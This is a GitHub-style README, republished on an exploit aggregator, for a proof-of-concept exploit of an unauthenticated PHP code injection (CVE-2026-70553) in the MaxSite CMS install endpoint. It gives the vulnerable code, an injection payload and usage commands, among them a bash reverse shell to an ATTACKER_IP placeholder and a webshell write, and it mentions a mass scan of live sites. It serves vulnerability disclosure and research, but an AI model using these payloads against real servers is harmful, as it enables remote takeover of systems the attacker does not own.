## https://sploitus.com/exploit?id=2FCD7081-4746-5C48-84DA-7F1228A2481C
# CVE-2026-70553 - MaxSite CMS Unauthenticated RCE
[](https://vulners.com/cve/CVE-2026-70553)
[](https://nvd.nist.gov/vuln/detail/CVE-2026-70553)
Proof-of-Concept for CVE-2026-70553: Unauthenticated Remote Code Execution in MaxSite CMS via persistent PHP code injection into `database.php` through the install endpoint.
---
## Disclaimer
This PoC is for **educational and authorized security research purposes only**. The author is not responsible for any misuse or damage caused by this code. Only test against systems you own or have explicit written permission to test.
---
## Vulnerability Overview
MaxSite CMS versions 105.2 through 109.5 contain a critical unauthenticated remote code execution vulnerability in the install endpoint. The `db_dbprefix` parameter is directly concatenated into PHP code without sanitization, allowing attackers to inject arbitrary PHP statements into `application/config/database.php`. Since this file is included on every request, the injected code achieves persistent RCE.
---
## Affected Versions
- MaxSite CMS **105.2 - 109.5**
- Fixed in: **109.6** (2026-06-08)
---
## Technical Details
### Root Cause
In `install/installer/functions.php`, the `newDatabase()` function constructs `database.php` content:
```php
function newDatabase($PV)
{
if (file_exists(MSODIR . 'application/config/database.php-distr')) {
$file = file_get_contents(MSODIR . 'application/config/database.php-distr');
// ... other replacements ...
// VULNERABLE LINE: No sanitization of $PV['db_dbprefix']
$file = str_replace('$db[\'default\'][\'dbprefix\'] = \'mso_\';',
'$db[\'default\'][\'dbprefix\'] = \'' . $PV['db_dbprefix'] . '\';',
$file);
file_put_contents(MSODIR . 'application/config/database.php', $file);
return false;
}
// ...
}
```
### Exploit Mechanism
By injecting a payload like:
```
db_dbprefix=mso_'; system('id'); //
```
The generated `database.php` becomes:
```php
$db['default']['dbprefix'] = 'mso_'; system('id'); //';
```
This breaks out of the string literal and injects arbitrary PHP code.
### Patch (109.6)
The fix added a check to prevent re-installation:
```php
if (file_exists(MSODIR . 'application/config/database.php-distr')
and
!file_exists(MSODIR . 'application/config/database.php')) // NEW CHECK
{
// ... create database.php only if it doesn't exist
}
```
---
## Usage
### Installation
```bash
git clone https://github.com/woshidashabi1126/CVE-2026-70553-PoC.git
cd CVE-2026-70553-PoC
pip3 install requests
```
### Basic Usage
```bash
# Check if target has accessible install endpoint
python3 exploit.py http://target.com --check-only
# Exploit with default payload (creates poc_test.txt)
python3 exploit.py http://target.com
# Custom payload: reverse shell
python3 exploit.py http://target.com \
--cmd 'system("bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/9001 0>&1\"");'
# Custom payload: write webshell
python3 exploit.py http://target.com \
--cmd 'file_put_contents("shell.php", "");'
```
### Options
```
--cmd PHP code to inject (default: file write test)
--check-only Only check if install endpoint is accessible
--db-host Database hostname (default: localhost)
--db-user Database username (default: test)
--db-pass Database password (default: test)
--db-name Database name (default: test)
```
---
## Exploitation Constraints
**CRITICAL:** This vulnerability has **severe practical limitations** in real-world scenarios.
### Requirements
1. **Install endpoint must be accessible** (`/install/` directory not removed)
2. **Database tables must NOT exist yet** (fresh installation or database cleared)
- The `newDatabase()` function is only called if tables don't exist
- This is checked in `install/installer/post.php` via `checkTableExists()`
### Why Most Sites Are NOT Vulnerable
- **Production sites have completed installation** → Tables exist → `newDatabase()` never called
- **Even if `/install/` is accessible**, the code path to injection is blocked by table existence check
- Our mass scan found **only ~24% of sites had install endpoint accessible**, and **0% were actually exploitable** due to existing database tables
### Real-World Exploitability
- **Theoretical:** Critical (9.8 CVSS)
- **Practical:** Very Low
- **Realistic Target Profile:**
- Installation interrupted mid-process
- Database manually dropped but code remains
- Fresh test/dev instances (not production)
---
## Local Reproduction
To verify this vulnerability in a controlled environment:
### Setup Vulnerable Environment
```bash
# 1. Download vulnerable version
wget https://github.com/maxsite/cms/archive/refs/tags/109.5.zip
unzip 109.5.zip && cd cms-109.5
# 2. Start PHP built-in server
php -S 127.0.0.1:8000
# 3. In another terminal, run exploit
python3 exploit.py http://127.0.0.1:8000
```
### Verify Injection
```bash
# Check if database.php was modified
cat application/config/database.php | grep dbprefix
# Should see injected code:
# $db['default']['dbprefix'] = 'mso_'; file_put_contents(...); //';
# Trigger execution
curl http://127.0.0.1:8000/
# Verify test file created
curl http://127.0.0.1:8000/poc_test.txt
```
---
## References
- [CVE-2026-70553 - CVE Record](https://vulners.com/cve/CVE-2026-70553)
- [NVD Entry](https://nvd.nist.gov/vuln/detail/CVE-2026-70553)
- [VulnCheck Advisory](https://www.vulncheck.com/advisories/maxsite-cms-unauthenticated-rce-via-install-endpoint)
- [MaxSite CMS GitHub](https://github.com/maxsite/cms)
- [Patch Commit (109.6)](https://github.com/maxsite/cms/commit/2ca0a0c7d1d71106a25dbb0f2aedaaefbf12802c)
---
## Timeline
- **2026-06-08**: MaxSite CMS 109.6 released with fix
- **2026-08-04**: CVE-2026-70553 published
- **2026-08-06**: PoC released
---
## Credits
- **Discovery:** Amir Aliu & Enrik Mustafa (VulnCheck)
- **PoC Development:** Security Researcher
- **Vendor:** MaxSite CMS Team
---
## License
This project is released under the MIT License. See [LICENSE](LICENSE) for details.
---
**Remember:** Always practice responsible disclosure and obtain proper authorization before testing.